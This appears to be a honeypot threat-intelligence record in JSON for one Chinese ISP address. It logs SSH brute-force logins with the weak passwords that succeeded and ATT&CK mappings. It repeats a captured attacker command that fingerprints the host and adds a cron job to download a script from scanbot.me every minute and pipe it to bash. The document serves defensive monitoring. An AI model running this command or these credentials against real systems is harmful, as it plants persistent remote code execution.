{"ip":"1.28.220.246","data_as_of":"2026-10-22T18:54:52+00:00","observed":true,"total_events":1455,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"8 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network service provider","why":["8 interactive session(s) logged in and ran commands.","33 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 1,455 event(s) from this address as well.","Not in any known-scanner range.","Sent 1,614,674 bytes, which is sustained payload delivery.","Held a session open for 74s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"1,614,674 bytes sent, longest session 74s","bytes_sent":1614674,"session_seconds":74,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-17T14:50:21","last_seen":"2026-10-20T12:58:05","events_24h":0,"events_7d":1455,"interactive_sessions":148,"interactive_sessions_24h":0,"interactive_sessions_7d":148,"interactive_protocols":[{"protocol":"ssh","sessions":142}],"geo":{"country_code":"CN","country_name":"China","region":"","city":"","lat":34.7732,"lon":113.722,"asn":4837,"org":"CHINA UNICOM China169 Backbone"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as4837","label":"China Unicom","category":"isp","url":"https://www.peeringdb.com/asn/4837"},"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":148,"first_seen":"2026-10-17T14:50:21","last_seen":"2026-10-20T12:58:05","verdicts":[{"verdict":"unknown","sessions":114},{"verdict":"credential","sessions":25},{"verdict":"post-exploitation","sessions":8},{"verdict":"scan","sessions":1}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":142}],"services":[{"protocol":"ssh","port":1,"sessions":45},{"protocol":"ssh","port":30,"sessions":17},{"protocol":"ssh","port":31,"sessions":9},{"protocol":"ssh","port":10,"sessions":7},{"protocol":"ssh","port":40,"sessions":7},{"protocol":"ssh","port":6,"sessions":6},{"protocol":"ssh","port":7,"sessions":6},{"protocol":"tcp","port":1,"sessions":6},{"protocol":"ssh","port":32,"sessions":5},{"protocol":"ssh","port":39,"sessions":5},{"protocol":"ssh","port":5,"sessions":5},{"protocol":"ssh","port":3,"sessions":5}],"logins":[{"username":"root","password":"!@#$1234","password_sent":true,"service":"ssh-password","outcome":"success","tries":15,"last_seen":"2026-10-19T18:29:49"},{"username":"root","password":"1111","password_sent":true,"service":"ssh-password","outcome":"success","tries":11,"last_seen":"2026-10-18T14:43:49"},{"username":"helang","password":"123","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-18T22:51:56"},{"username":"root","password":"TheArmorOfGod","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-18T02:12:28"},{"username":"admin","password":"admin12345","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T12:58:02"},{"username":"es","password":"abc123","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-18T22:50:24"},{"username":"root","password":"111111","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-17T23:04:59"}],"commands":[{"ts":"2026-10-20T12:58:04","session_id":"283a4618-2bd2-461d-b9d1-18dd2dcba9da","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T18:29:50","session_id":"d98f03b6-e3a5-4494-9df3-78dc7786a7c4","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T18:29:26","session_id":"6c843898-e68f-44a1-b7ac-bca02f9149ef","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T18:29:18","session_id":"d95c9bcc-46db-40c7-9a9c-28d2aa1b8d2c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T17:01:31","session_id":"5d78a231-8431-43c9-8050-05eedbd69b91","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T14:50:17","session_id":"565ebbc6-a12f-4a7d-b67b-c20d34dabbb2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T03:13:20","session_id":"8f293024-b491-4354-bc1f-26228b51881d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T03:13:15","session_id":"314fcaa5-fe97-4b00-9671-2576cf30668e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":0},{"ts":"2026-10-19T01:31:17","session_id":"8489c77b-1ce9-4747-af0e-55088113d3f2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T22:51:58","session_id":"5f7a7402-56e0-459c-8b68-fd70c06b3441","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T22:51:58","session_id":"883741fc-5bf6-494e-8f70-9d1c72238529","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T22:50:26","session_id":"72e28a65-88ab-4a6f-8fac-074b292654d9","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T18:39:34","session_id":"9176a4b3-9091-4a65-bfae-1c23721a62df","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T16:58:59","session_id":"90602873-b3e0-4f03-b614-dd0fa0a0e244","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T16:58:58","session_id":"6ca04e1d-1edd-4318-a8aa-8c50b4b7770c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T15:42:19","session_id":"dbc8e2c5-467f-47ae-b8f5-b83f74a9b976","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T15:27:03","session_id":"9ad7da97-f950-4206-82e1-6c3c8ee049dc","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T15:27:01","session_id":"ae3c668b-8363-4d81-b63d-df464a59664f","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:44:15","session_id":"87af9552-5361-43ea-a843-77a7ce20f57a","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:44:07","session_id":"2d2aaa05-84ac-43d2-88cf-3b26064140a7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:44:06","session_id":"a12794cf-5ae8-4142-88ff-f95ab1cfaf87","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:44:06","session_id":"05bff595-ff41-4be5-8c84-09ae27813cec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:59","session_id":"3a834539-06f5-4944-ab3b-f5692e2781c5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:59","session_id":"9a815b9f-35d3-4c51-ba0a-040914c8f220","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:58","session_id":"385da1f6-985d-4fd2-8602-f59c20296cdf","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:57","session_id":"65ec17c9-450a-46d7-8880-7bfd21ea0423","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:53","session_id":"16a47d6b-2080-48f3-8c9a-d7adf22a68f8","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:52","session_id":"27d8a807-4b5c-4be7-b275-a3fa3b808c3e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T14:43:51","session_id":"5568dc70-6a13-499a-928c-bc8dd558e8e5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-18T01:25:00","session_id":"348ad29f-f4ab-4990-be79-fb9c63a66461","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2},{"ts":"2026-10-17T23:05:18","session_id":"2117acb5-3471-4ba0-965c-9d0046834f22","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash\") | crontab - 2>/dev/null)\"","exit_code":2}],"downloads":[],"files":[{"sha256":"663b6bbd606516db0a3960ba137f499eb1c0978a789cc69623386b3b53f27bcc","name":"admin","size":113,"mime_type":"text/plain","kind":"crontab","times":8,"first_seen":"2026-10-19T03:13:15","last_seen":"2026-10-20T12:58:04","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":1},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":33},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":8},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":33}]},"top_ports":[{"port":9,"proto":"tcp","label":"","count":642,"sessions":2},{"port":7,"proto":"tcp","label":"","count":348,"sessions":6},{"port":4,"proto":"tcp","label":"","count":178,"sessions":4},{"port":1,"proto":"tcp","label":"","count":18,"sessions":51},{"port":26,"proto":"tcp","label":"","count":58,"sessions":0},{"port":36,"proto":"tcp","label":"","count":34,"sessions":0},{"port":10,"proto":"tcp","label":"","count":22,"sessions":7},{"port":38,"proto":"tcp","label":"","count":22,"sessions":2},{"port":3,"proto":"tcp","label":"","count":15,"sessions":5},{"port":30,"proto":"tcp","label":"SSH","count":0,"sessions":17},{"port":2,"proto":"tcp","label":"","count":12,"sessions":4},{"port":32,"proto":"tcp","label":"","count":10,"sessions":5},{"port":6,"proto":"tcp","label":"","count":8,"sessions":6},{"port":5,"proto":"tcp","label":"","count":8,"sessions":5},{"port":37,"proto":"tcp","label":"","count":10,"sessions":0}],"fingerprints":{"ssh_hassh":["f8c77b782d33442905e2c431c2ba312e"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["f8c77b782d33442905e2c431c2ba312e"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"f8c77b782d33442905e2c431c2ba312e":496},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-17","count":531,"sessions":16},{"date":"2026-10-18","count":738,"sessions":95},{"date":"2026-10-19","count":186,"sessions":29},{"date":"2026-10-20","count":0,"sessions":8}],"recent_events":[{"timestamp":"2026-10-20T12:58:04","port":31,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://scanbot.me/?gvc 2>/dev/null || wget -qO- http://scanbot.me/?gvc 2>/dev/null) | bash\") | crontab - 